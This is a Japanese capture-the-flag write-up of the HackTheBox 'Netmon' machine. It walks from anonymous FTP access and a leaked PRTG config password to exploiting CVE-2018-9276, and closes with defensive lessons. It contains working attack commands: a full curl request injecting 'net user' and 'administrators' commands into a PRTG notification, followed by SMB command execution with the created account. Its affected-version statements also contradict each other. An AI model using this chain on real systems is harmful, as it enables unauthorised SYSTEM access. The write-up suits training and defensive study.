HackTheBox: Netmon — 全実行コマンド・実行結果レポート
Nmap スキャン
21/ftp, 80/PRTG, 135/139/445/5985
→
21/ftp, 80/PRTG, 135/139/445/5985
FTP匿名ログイン
C:\ドライブ全体が閲覧可能
→
C:\ドライブ全体が閲覧可能
user.txt 取得
Users\Public\Desktop\user.txt
→
Users\Public\Desktop\user.txt
PRTG設定バックアップ漏洩
Configuration.old.bak
→
Configuration.old.bak
パスワード年+1で推測
PrTg@dmin2019
→
PrTg@dmin2019
CVE-2018-9276
通知機能コマンドインジェクション
→
通知機能コマンドインジェクション
管理者ユーザー作成
SYSTEM権限で net user実行
→
SYSTEM権限で net user実行
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.230.176
RESULT
PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman
HTTPバナー & FTP匿名アクセス確認
BASH
curl -sI http://10.129.230.176/ nmap -sV --script ftp-anon -p 21 10.129.230.176
RESULT
HTTP/1.1 302 Moved Temporarily Server: PRTG/18.1.37.13946 Location: /index.htm 21/tcp open ftp Microsoft ftpd | ftp-anon: Anonymous FTP login allowed (FTP code 230)
🚨
重要発見: 80番はPRTG Network Monitor 18.1.37.13946
(既知の認証済みコマンドインジェクション脆弱性 CVE-2018-9276 の対象バージョン)、
21番はFTP匿名ログインが許可されている。
PHASE 2
FTP匿名ログイン → C:ドライブ全体の閲覧 → user.txt
FTPで匿名ログイン
BASH
ftp 10.129.230.176 # Name: anonymous / Password: (空でも可) ftp> ls
RESULT
220 Microsoft FTP Service 331 Anonymous access allowed, send identity (e-mail name) as password. 230 User logged in. Users Windows inetpub PerfLogs Program Files ...
🚨
重大発見: FTPのルートがC:ドライブ全体になっている
(単なる特定フォルダの共有ではない)。これによりファイルシステム全体を匿名で
読み書きできてしまう致命的な設定ミス。
user.txt の探索と取得
BASH
ftp> cd Users/Public/Desktop ftp> get user.txt
RESULT
e75caee9e505548012667c75877b2421
ℹ️
Users\Public直下ではなくUsers\Public\Desktop配下に
あることに注意(Windowsの共有デスクトッププロファイルの標準パス)。
user.txt
e75caee9e505548012667c75877b2421
PHASE 3
PRTG設定バックアップの漏洩 → パスワード推測 → ログイン
PRTG設定バックアップファイルの発見
BASH
ftp> cd "/ProgramData/Paessler/PRTG Network Monitor" ftp> ls ftp> get "PRTG Configuration.old.bak" ftp> get "PRTG Configuration.old.bak"
BASH
grep -A2 -B2 "dbpassword" "PRTG Configuration.old.bak"
RESULT
<dbpassword> PrTg@dmin2018 <!-- User: prtgadmin --> </dbpassword>
✅
PRTG管理者の平文パスワードを発見:
prtgadmin:PrTg@dmin2018。
ただしこのバックアップファイルは古く、現在のパスワードは既に変更されている可能性が高い。
「年を+1」したパスワードでログイン成功
BASH
# PrTg@dmin2018 でログインを試すと失敗する。バックアップ時期から # 察するに年単位でパスワードを更新している可能性が高いため、年を+1して試す curl -s -i http://10.129.230.176/public/checklogin.htm \ --data-urlencode "username=prtgadmin" \ --data-urlencode "password=PrTg@dmin2019"
RESULT
HTTP/1.1 302 Moved Temporarily
Location: /home
Set-Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D; Path=/; HttpOnly
✅
ログイン成功: prtgadmin:PrTg@dmin2019 (2018→2019の年推測が的中)。
/homeへのリダイレクトとOCTOPUS<n>という名前の有効な
セッションCookieが返ってきたことで認証成功を確認できる(ログイン失敗時は
/public/checklogin.htm自身へ再リダイレクトされセッションCookieは付与されない)。
PHASE 4
CVE-2018-9276 — PRTG通知機能のコマンドインジェクション → root.txt
脆弱性の概要
NOTE
PRTG Network Monitor 18.1.37 より前のバージョンは、認証済み管理者が 「通知(Notification)」機能で"Execute Program"アクションを新規作成する際、 通知名などのパラメータをサニタイズせずバックエンドで実行するPowerShell コマンドの組み立てに使っている。これにより管理者権限のWebセッションから SYSTEM権限での任意コマンド実行が可能になる(認証後の権限昇格として機能)。 PRTGのコアサービス(PRTG Core Server)はWindows上でSYSTEM権限で動作して いるため、通知テストをトリガーした際に実行されるコマンドもSYSTEM権限で 走る。
悪性Notificationの作成
BASH
curl -s http://10.129.230.176/editsettings \ -H "Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D" \ -H "X-Requested-With: XMLHttpRequest" \ --data-urlencode "name_=pwn" \ --data-urlencode "active_=1" \ --data-urlencode "schedule_=-1|None|" \ --data-urlencode "postpone_=1" \ --data-urlencode "summode_=2" \ --data-urlencode "summarysubject_=[%sitename] x" \ --data-urlencode "summinutes_=1" \ --data-urlencode "accessrights_=1" \ --data-urlencode "accessrights_201=0" \ --data-urlencode "active_10=10" \ --data-urlencode "address_10=Demo EXE Notification - OutFile.ps1" \ --data-urlencode "message_10=abcd; net user prtgadm1n Pwn3d_2024! /add; net localgroup administrators prtgadm1n /add" \ --data-urlencode "timeout_10=60" \ --data-urlencode "objecttype=notification" \ --data-urlencode "id=new" \ --data-urlencode "targeturl=/myaccount.htm?tabid=2"
RESULT
{"objid": "2018"}
🚨
注入ポイント:
message_10パラメータ(“Execute Program”アクション
用のOutFile.ps1へ渡すメッセージ)に、PowerShellのコマンド区切り文字である
;を使ってnet user ... /add と
net localgroup administrators ... /add を追記している
(&ではなく;である点に注意 — バックエンドがPowerShellとして
実行するため)。作成した通知のobjid(2018)がレスポンスで返る。
通知テストをトリガーしてコマンドを実行
BASH
curl -s http://10.129.230.176/api/notificationtest.htm \ -H "Cookie: OCTOPUS1813713946=ezcwMDE5RERCLUM0MTYtNDMwNi05MjJELTI3M0YzMkNFODE4Rn0%3D" \ -H "X-Requested-With: XMLHttpRequest" \ --data-urlencode "id=2018"
⚠️
ハマりポイント: このエンドポイントへのリクエスト自体は即座に200を返すが、
実際にバックグラウンドで通知アクション(= PowerShellコマンド実行)が処理されるまでには
数秒〜10秒程度のタイムラグがある。ユーザー作成確認は少し待ってから行うこと。
作成された管理者ユーザーの確認 & root.txt 取得
BASH
# 数秒待ってから新規作成した管理者アカウントでSMB認証を確認 nxc smb 10.129.230.176 -u prtgadm1n -p 'Pwn3d_2024!' --local-auth
RESULT
SMB 10.129.230.176 445 NETMON [*] Windows Server 2016 Standard 14393 x64 (name:NETMON) (domain:NETMON)
SMB 10.129.230.176 445 NETMON [+] NETMON\prtgadm1n:Pwn3d_2024! (Pwn3d!)
BASH
nxc smb 10.129.230.176 -u prtgadm1n -p 'Pwn3d_2024!' --local-auth \ -x 'type C:\Users\Administrator\Desktop\root.txt'
RESULT
e82fb037f87e6f51708fbe11383b9656
✅
権限昇格成功! CVE-2018-9276でSYSTEM権限により作成した
prtgadm1nはadministratorsグループに所属しているため、
SMB経由のコマンド実行(-x)でAdministratorデスクトップのroot.txtを
直接読み取れる。evil-winrmでの対話シェル取得も同様に可能。
root.txt
e82fb037f87e6f51708fbe11383b9656
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt
e75caee9e505548012667c75877b2421
root.txt
e82fb037f87e6f51708fbe11383b9656
使用した脆弱性・設定不備
| 脆弱性/不備 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| FTP匿名アクセス + C:ドライブ丸ごと共有 | Microsoft ftpd (21/tcp) | ファイルシステム全体の情報漏洩 | Critical | 認証不要でuser.txtやPRTG設定バックアップを含む全ファイルを取得 |
| 設定バックアップの平文パスワード + 推測可能な更新規則 | PRTG Configuration.old.bak | 現行の管理者パスワードの特定 | High | バックアップの平文パスワードの「年」部分を+1して現行パスワードを推測 |
| CVE-2018-9276 | PRTG Network Monitor < 18.1.39 (通知機能) | 認証後のコマンドインジェクション (SYSTEM権限) | Critical | “Execute Program”通知作成時のmessageパラメータにPowerShellコマンドを注入し、notificationtest.htmでトリガー |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap 全ポートスキャン | 21/ftp, 80/http(PRTG 18.1.37), 135/139/445/5985 |
| 2 | 初期アクセス | FTP匿名ログイン(C:ドライブ丸ごと) | user.txt 取得 |
| 3 | 資格情報 | 設定バックアップの平文パスワード + 年推測 | prtgadmin:PrTg@dmin2019 |
| 4 | 権限昇格 | CVE-2018-9276 通知機能コマンドインジェクション | 管理者ユーザー prtgadm1n 作成 |
| 4 | フラグ取得 | SMB経由コマンド実行 | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| FTPサーバーが匿名ログインを許可し、しかもルートがC:ドライブ全体になっている | FTP匿名アクセスを無効化する。有効にする場合でも、公開してよい特定フォルダのみに chroot/jailし、システムドライブ全体へのアクセスを絶対に許可しない。 |
| 設定バックアップファイルが読み取り可能な場所に残り、平文パスワードを含んでいる | 設定バックアップはアクセス制限されたディレクトリに保管し、機密情報(パスワード等)は 暗号化する。古いバックアップは定期的に削除する。 |
| 予測可能なパスワード更新パターン(年のインクリメントのみ) | パスワードローテーション時は単純な年号変更ではなく、十分なエントロピーを持つ ランダムなパスワードに完全に入れ替える。 |
| PRTGが既知のCVEを含む古いバージョンのまま運用されている | 監視ソフトウェアのような特権的に動作するミドルウェアは特に優先してパッチ適用する。 CVE-2018-9276は18.1.39で修正済みのため最新版へのアップデートが必須。 |

